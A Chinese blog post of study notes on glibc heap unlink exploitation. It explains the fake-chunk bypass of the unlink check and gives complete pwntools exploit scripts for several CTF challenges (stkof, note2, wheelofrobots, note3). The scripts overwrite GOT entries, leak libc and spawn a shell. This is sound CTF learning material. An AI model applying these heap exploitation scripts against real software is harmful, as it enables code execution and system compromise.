====
还是补之前没做好的笔记,真就好记性不如烂笔头了,哈哈
还是说老年痴呆提前了
还是老规矩,先看wiki
当初理解unlink,因为方向错了。很是废了一大波劲(可能还是太菜了吧0.o……)
WIKI上的解释https://wiki.x10sec.org/pwn/linux/glibc-heap/unlink-zh/
检查:
1 2 3 if (__builtin_expect (FD->bk != P || BK->fd != P, 0 )) \ malloc_printerr (check_action, "corrupted double-linked list" , P, AV); \
其实本质就是在P上伪造fd,bk 利用UNLINK机制(注意:这是一个动作):
1 2 3 4 FD=P->fd BK=P->bk FD->bk=BK BK->fd=FD
它其实可以分为两个部分 第一部分:
第二部分:
1 2 3 4 5 是UNLINK机制完成 它负责在相应的地址写入数据 FD->bk=BK BK->fd=FD
它的作用是干嘛的?
它可以往任意一个地址,写入你希望的地址信息
但是,他有检查。 又但是,有绕过检查的方法,
方法就是伪造堆。
为什么?因为,堆分配器是通过一系列的宏,检查各个堆上的信息(比如大小),根据这些信息,所以才能确定它隔壁的堆块实在哪儿
大可不必真的在一个堆上,伪造fd,bk。 我们可以伪造一个堆,在上面修改数据了以达到同样的效果,同时避开了检查,(我都不是一个真实的堆,他凭什么检查我)
当然了,这只是大体的思路具体的一些实现还是会有些不一样(比如不同版本的利用,2.29以前的,何2.29以后的)
情景一:写bss 这里简单的例子就是2014 HITCON stkof(wiki上有)
这道题,是unlink的一个典型利用方式。
将某一个地址,写到另外一个地址上去
s这个题里面是利用bss段上的一段空间来储存我们申请的各个chunk的地址,对于这种,我们就可以利用unlink把bss上的一些信息篡改(我们不能直接改)
比如说bss上是chunk_addr[index],每一个元素是一个堆的地址
假如我们用unlink,将chunk_addr[0]的内容改成bss段的地址,
那么,当我们要往chunk0里面写内容的时候,实际上,我们是写在bss段上,这样我们就能将各个堆的地址篡改为我们希望的地址
实现任意地址读写
exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 context.terminal = ['gnome-terminal' , '-x' , 'sh' , '-c' ] if args['DEBUG' ]: context.log_level = 'debug' context.binary = "./stkof" stkof = ELF('./stkof' ) if args['REMOTE' ]: p = remote('127.0.0.1' , 7777 ) else : p = process("./stkof" ) log.info('PID: ' + str (proc.pidof(p)[0 ])) libc = ELF('./libc.so.6' ) head = 0x602140 def alloc (size ): p.sendline('1' ) p.sendline(str (size)) p.recvuntil('OK\n' ) def edit (idx, size, content ): p.sendline('2' ) p.sendline(str (idx)) p.sendline(str (size)) p.send(content) p.recvuntil('OK\n' ) def free (idx ): p.sendline('3' ) p.sendline(str (idx)) def exp (): alloc(0x100 ) alloc(0x30 ) alloc(0x80 ) payload = p64(0 ) payload += p64(0x20 ) payload += p64(head + 16 - 0x18 ) payload += p64(head + 16 - 0x10 ) payload += p64(0x20 ) payload = payload.ljust(0x30 , 'a' ) payload += p64(0x30 ) payload += p64(0x90 ) edit(2 , len (payload), payload) free(3 ) p.recvuntil('OK\n' ) payload = 'a' * 8 + p64(stkof.got['free' ]) + p64(stkof.got['puts' ]) + p64( stkof.got['atoi' ]) edit(2 , len (payload), payload) payload = p64(stkof.plt['puts' ]) edit(0 , len (payload), payload) free(1 ) puts_addr = p.recvuntil('\nOK\n' , drop=True ).ljust(8 , '\x00' ) puts_addr = u64(puts_addr) log.success('puts addr: ' + hex (puts_addr)) libc_base = puts_addr - libc.symbols['puts' ] binsh_addr = libc_base + next (libc.search('/bin/sh' )) system_addr = libc_base + libc.symbols['system' ] log.success('libc base: ' + hex (libc_base)) log.success('/bin/sh addr: ' + hex (binsh_addr)) log.success('system addr: ' + hex (system_addr)) payload = p64(system_addr) edit(2 , len (payload), payload) p.send(p64(binsh_addr)) p.interactive() if __name__ == "__main__" : exp()
1 2 3 4 5 6 7 8 9 payload = p64(0 ) payload += p64(0x20 ) payload += p64(head + 16 - 0x18 ) payload += p64(head + 16 - 0x10 ) payload += p64(0x20 ) payload = payload.ljust(0x30 , 'a' ) payload += p64(0x30 ) payload += p64(0x90 )
整个最关键的就在这里,我们在free下一个chunk(chunk3)时,机制是通过chunk3的prev_size来往前确认是chunk2,并进行检查,再通过chunk2的size,通过偏移寻址,检查下一个chunk的prev_size(即使并不正确)
这里,我试了一下,往atoi_got里写one_gadget,我感觉应该是可以的,事实上的确可以,只不过不一定成功,三分之一的成功率吧,大概。暂时不知道为什么。
例题2:2016 ZCTF note2https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/heap/unlink/2016_zctf_note2
和前一题大差不差,new里面有这个溢出(整型溢出)
exp里面是,先释放再申请chunk1是为了布局堆,而后才往里面写入伪造堆块需要的内容。
内容并不复杂,顺便over了chunk1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 from pwn import *from LibcSearcher import *context(log_level ='debug' , arch = 'amd64' ,os ='linux' ) io = process('./note2' ) elf =ELF('./note2' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) def debug (): gdb.attach(io) name = "aaaa" address = "/bin/sh" io.sendlineafter("name:" ,name) io.sendlineafter("address:" ,address) def new (size,contents ): io.sendlineafter(">>" ,"1" ) io.sendlineafter("128)" ,str (size)) io.sendlineafter("content:" ,contents) def show (index ): io.sendlineafter(">>" ,"2" ) io.sendlineafter("note:" ,str (index)) def edit (index,c,contents ): io.sendlineafter(">>" ,"3" ) io.sendlineafter("note:" ,str (index)) io.sendlineafter("[1.overwrite/2.append]" ,str (c)) io.sendlineafter("TheNewContents:" ,contents) def dele (index ): io.sendlineafter(">>" ,"4" ) io.sendlineafter("note:" ,str (index)) ptr_0 = 0x602120 fake_fd = ptr_0 - 0x18 fake_bk = ptr_0 - 0x10 content0 = p64(0 )+p64(0xa1 )+p64(fake_fd)+p64(fake_bk) new(0x80 ,content0) new(0 ,"aaaaa" ) new(0x80 ,"aaaaaaaaa" ) dele(1 ) content1 = p64(0 )*2 +p64(0xa0 )+p64(0x90 ) new(0 ,content1) dele(2 ) payload = 0x18 *'a' + p64(elf.got['atoi' ]) edit(0 ,1 ,payload) show(0 ) io.recvuntil("Content is " ) atoi_addr = u64(io.recv(6 ).ljust(8 ,'\x00' )) print "atoi address=====>" + hex (atoi_addr)libcbase = atoi_addr - libc.sym['atoi' ] print ("libc address: " + hex (libcbase))system = libcbase + libc.sym['system' ] edit(0 ,1 ,p64(system)) io.sendline(address) io.interactive()
这个题应该不知这一个解法的吧
ida里应该可以看到,edit功能应该还有问题,但我还没做。。。。。。。
鸣谢:https://blog.csdn.net/weixin_38419913/article/details/103381531
利用思路:
1.通过fastbins attack来控制0x603138处的伪造堆块,从而改变case6_num的值,这样就可以使得该值能被控制,我们可以把这个值改的大一些,于是chunk6就能进行溢出, 2.构造unlink的结构,使得0x6030E8处的指针指向0x6030E8-0x18。 4.修改free got表为puts plt,打印出一个libc函数的地址,从而泄漏libc 5.修改free got表为system,get shell
the map on bss
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 bss:00000000006030D0 ; main+26↑r .bss:00000000006030D0 ; Copy of shared data .bss:00000000006030D8 byte_6030D8 db ? ; DATA XREF: sub_4009F0↑r .bss:00000000006030D8 ; sub_4009F0+13↑w .bss:00000000006030D9 align 20h .bss:00000000006030E0 ; void *chain .bss:00000000006030E0 chain dq ? ; DATA XREF: add+28F↑w .bss:00000000006030E0 ; add+296↑r ... .bss:00000000006030E8 ; void *destructor .bss:00000000006030E8 destructor dq ? ; DATA XREF: add+3A0↑w .bss:00000000006030E8 ; add+3BB↑r ... .bss:00000000006030F0 ; void *bender .bss:00000000006030F0 bender dq ? ; DATA XREF: add+162↑w .bss:00000000006030F0 ; add+17D↑r ... .bss:00000000006030F8 ; char *tinny .bss:00000000006030F8 tinny dq ? ; DATA XREF: add+A6↑w .bss:00000000006030F8 ; add+B7↑r ... .bss:0000000000603100 ; char *devil .bss:0000000000603100 devil dq ? ; DATA XREF: add+225↑w .bss:0000000000603100 ; add+240↑r ... .bss:0000000000603108 ; void *ire .bss:0000000000603108 ire dq ? ; DATA XREF: add+2F3↑w .bss:0000000000603108 ; add+2FA↑r ... .bss:0000000000603110 ; char *choice .bss:0000000000603110 choice db ? ; ; DATA XREF: add+3A↑o .bss:0000000000603110 ; add+49↑o ... .bss:0000000000603111 db ? ; .bss:0000000000603112 db ? ; .bss:0000000000603113 db ? ; .bss:0000000000603114 bender_inuse dd ? ; DATA XREF: add:loc_400EE0↑r .bss:0000000000603114 ; add+173↑w ... .bss:0000000000603118 chain_inuse dd ? ; DATA XREF: add:loc_40106A↑r .bss:0000000000603118 ; add+2B5↑w ... .bss:000000000060311C destructor_inuse dd ? ; DATA XREF: add:loc_401135↑r .bss:000000000060311C ; add+3B1↑w ... .bss:0000000000603120 tinny_inuse dd ? ; DATA XREF: add:loc_400E81↑r .bss:0000000000603120 ; add+AD↑w ... .bss:0000000000603124 devil_inuse dd ? ; DATA XREF: add:loc_400FA3↑r .bss:0000000000603124 ; add+236↑w ... .bss:0000000000603128 ire_inuse dd ? ; DATA XREF: add:loc_4010CE↑r .bss:0000000000603128 ; add+31C↑w ... .bss:000000000060312C align 10h .bss:0000000000603130 robot_wheel_cnt dq ? ; DATA XREF: add+56↑r .bss:0000000000603130 ; add+D1↑r ... .bss:0000000000603138 bender_size dq ? ; DATA XREF: add+16C↑w .bss:0000000000603138 ; change+AC↑r .bss:0000000000603140 devil_size dq ? ; DATA XREF: add+22F↑w .bss:0000000000603140 ; change+F5↑r .bss:0000000000603148 destructor_size dq ? ; DATA XREF: add+3AA↑w .bss:0000000000603148 ; change+19C↑r
the index of chunks
1 2 3 4 5 6 puts(" 1. Tinny Tim "); puts(" 2. Bender "); puts(" 3. Robot Devil "); puts(" 4. Chain Smoker "); puts(" 5. Billionaire Bot "); return puts(" 6. Destructor \n");
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 from pwn import *from LibcSearcher import *context(log_level ='debug' , arch = 'amd64' ,os ='linux' ) io = process('./wheelofrobots' ) libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so' ) elf = ELF('./wheelofrobots' ) def debug (): gdb.attach(io) def add (index,size=0 ): io.recvuntil("Wheel Of Robots" ) sleep(0.5 ) io.send("1" ) if (index==8888 or index==9999 ): if (index==9999 ): io.sendafter("Your choice :" ,"9999\x01" ) else : io.sendafter("Your choice :" ,"8888\x00" ) else : io.sendafter("Your choice :" ,str (index)) if (index == 2 or index == 3 or index == 6 ): io.recv() io.send(str (size)) else : pass def dele (index ): io.recvuntil('Your choice :' ) io.sendline('2' ) io.recvuntil('Your choice :' ) io.sendline(str (index)) def edit (index,context ): io.recvuntil("Wheel Of Robots" ) sleep(0.5 ) io.send("3" ) io.recvuntil("choice :" ) io.send(str (index)) io.recvline() io.send(context) def show (): io.recvuntil("Wheel Of Robots" ) sleep(0.5 ) io.send("4" ) print "the first step=======>" add(2 ,1 ) dele(2 ) add(9999 ) edit(2 ,p64(0x603138 )) add(8888 ) add(2 ,1 ) add(3 ,0x20 ) add(1 ) dele(2 ) dele(3 ) print "the second step========>" add(6 ,3 ) add(3 ,7 ) edit(1 ,p64(1000 )) fake_chunk_addr= 0x6030e8 fake_chunk = p64(0 )+p64(0x20 ) fake_chunk+= p64(fake_chunk_addr-0x18 )+p64(fake_chunk_addr-0x10 ) fake_chunk+= p64(0x20 ) fake_chunk = fake_chunk.ljust(0x40 ,"a" ) fake_chunk+= p64(0x40 )+p64(0xa0 ) edit(6 ,fake_chunk) dele(3 ) payload = p64(0 )*2 + 0x18 *'a' +p64(0x6030e8 ) edit(6 ,payload) edit(1 ,p64(elf.got['exit' ])) edit(6 ,p64(0x401954 )) edit(1 ,p64(0x603130 )) edit(6 ,p8(0x33 )) edit(1 ,p64(elf.got['puts' ])) show() io.recvuntil('New hands great!! Thx ' ) puts_addr = u64(io.recvuntil('!\n' , drop=True ).ljust(8 , '\x00' )) libcbase = puts_addr - libc.sym['puts' ] system = libcbase + libc.sym['system' ] sh = libcbase + next (libc.search('/bin/sh' )) log.success("the address of puts is " + hex (puts_addr)) log.success("the address of libcbase is " + hex (libcbase)) log.success("the address of system is " + hex (system)) log.success("the address of sh is " + hex (sh)) edit(1 ,p64(elf.got['free' ])) edit(6 ,p64(system)) edit(1 ,p64(0x6030e8 )) edit(6 ,p64(sh)) dele(6 ) io.interactive()
菜单,增删改查。
首先看wiki吧
RelRO : Partial
got表可改
所有的笔记 malloc 出来的指针存放在 bss 上全局数组 bss_ptr 中,这个数组最多可以存放 8 个 heap_ptr。 而且 heap_ptr 对应的 size 也被放在 bss_ptr 数组中。current_ptr 表示当前笔记,bss 布局如下。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 .bss: current_ptr note0_ptr note1_ptr note2_ptr note3_ptr note4_ptr note5_ptr note6_ptr note7_ptr note0_size note1_size note2_size note3_size note4_size note5_size note6_size note7_size
漏洞 (https://ctf-wiki.org/pwn/linux/user-mode/heap/ptmalloc2/unlink/#_20 )
漏洞存在于 edit 功能中,这里面在获取用户输入的 id 号之后并没有进行验证。如果输入的 id 是负数的话依然可以执行。 在 get_num 函数中存在整数溢出漏洞,我们可以获得一个负数。
1 2 3 4 5 6 7 8 9 10 11 12 13 int edit() { id = get_num(); data_ptr = ptr[id]; if ( data_ptr ) { puts("Input the new content:"); my_read(ptr[id], current_ptr[id + 8], '\n'); current_ptr[0] = ptr[id]; data_ptr = puts("Edit success"); } }
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 from pwn import *from LibcSearcher import *context(log_level ='debug' , arch = 'amd64' ,os ='linux' ) io = process('./note3' ) elf = ELF('./note3' ) libc = ELF('./libc-2.23_x64.so' ) def debug (): gdb.attach(io) def add (size,content ): io.sendlineafter("option--->>" ,"1" ) io.sendlineafter("(less than 1024)" ,str (size)) io.sendlineafter("content:" ,content) def edit (index,content ): io.sendlineafter("option--->>" ,"3" ) io.sendlineafter("note:" ,str (index)) io.sendlineafter("content:" ,content) def delete (index ): io.sendlineafter("option--->>" ,"4" ) io.sendlineafter("note:" ,str (index)) add(0x100 ,"aaaa" ) add(0x100 ,"bbbb" ) add(0x100 ,"cccc" ) add(0x100 ,"dddd" ) add(0x100 ,"eeee" ) add(0x100 ,"ffff" ) add(0x100 ,"gggg" ) add(0x100 ,"hhhh" ) edit(3 ,"bbbb" ) fakechunk = 0x0000000006020e0 payload = p64(0x100 )+p64(0x101 ) payload+= p64(fakechunk - 0x18 )+p64(fakechunk - 0x10 ) payload = payload.ljust(0x100 ,'a' ) payload+= p64(0x100 )+p64(0x110 ) edit(-9223372036854775808 ,payload) delete(4 ) free_got = elf.got['free' ] puts_got = elf.got['puts' ] puts_plt = elf.plt['puts' ] atoi_got = elf.got['atoi' ] print "free_got=====>" +hex (free_got)print "puts_got=====>" +hex (puts_got)print "puts_plt=====>" +hex (puts_plt)print "atoi_got=====>" +hex (atoi_got)payload = p64(0 )*3 +p64(free_got) + p64(atoi_got)+ p64(atoi_got)[0 :6 ] edit(3 ,payload) edit(3 ,p64(puts_plt)[0 :6 ]) delete(4 ) io.recvuntil('\n' ) atoi_addr = u64(io.recv(6 ).ljust(8 ,'\x00' )) print "atoi_addr=====>" +hex (atoi_addr)libcbase = atoi_addr - libc.sym['atoi' ] system = libcbase + libc.sym['system' ] edit(5 ,p64(system)[0 :6 ]) io.sendline("/bin/sh;" ) io.interactive()
这里有一个小细节,就是有符号数使用的是补码
为什么采用的是这个数字?
D:-9,223,372,036,854,775,808
B:1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
看代码:
1 2 3 4 5 get_read(nptr, 32LL , 10 ); number = atol(nptr); if ( number < 0 ) number = -number; return number;
这里,有一个负数变正数的操作
我们知道我们如果把一个数变符号
先把二进制数取反(每一个位哦)得反码,然后+1得补码:
如
D:-1
B:1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111
取反:
D:0
B:0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
+1得补码:
D:1
B:0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0001
然而,我们希望的得到是一个负数,而这个操作会把一般的负数变成正数(一般的)
但有些特殊的数,则不一定
它的补码不变:
D:-9,223,372,036,854,775,808(最后一位是8哦)
B:1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
取反:
D: 9223372036854775807(最后一位是7哦)
B:0111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111
+1后:
D:-9,223,372,036,854,775,808(最后一位是8哦)
B:1000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000
所以这个数字,即使进行取反操作他也是得到自己本身
但是,这就完啦?这也不是-1啊
-1不是应该是这样的吗?
B:1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111 1111
外面还有个操作啊
(当时我还觉得有点小突兀的)
-9,223,372,036,854,775,808 % 7 = -1
好,低版本的unlink就此结束到这,开心愉快^ - ^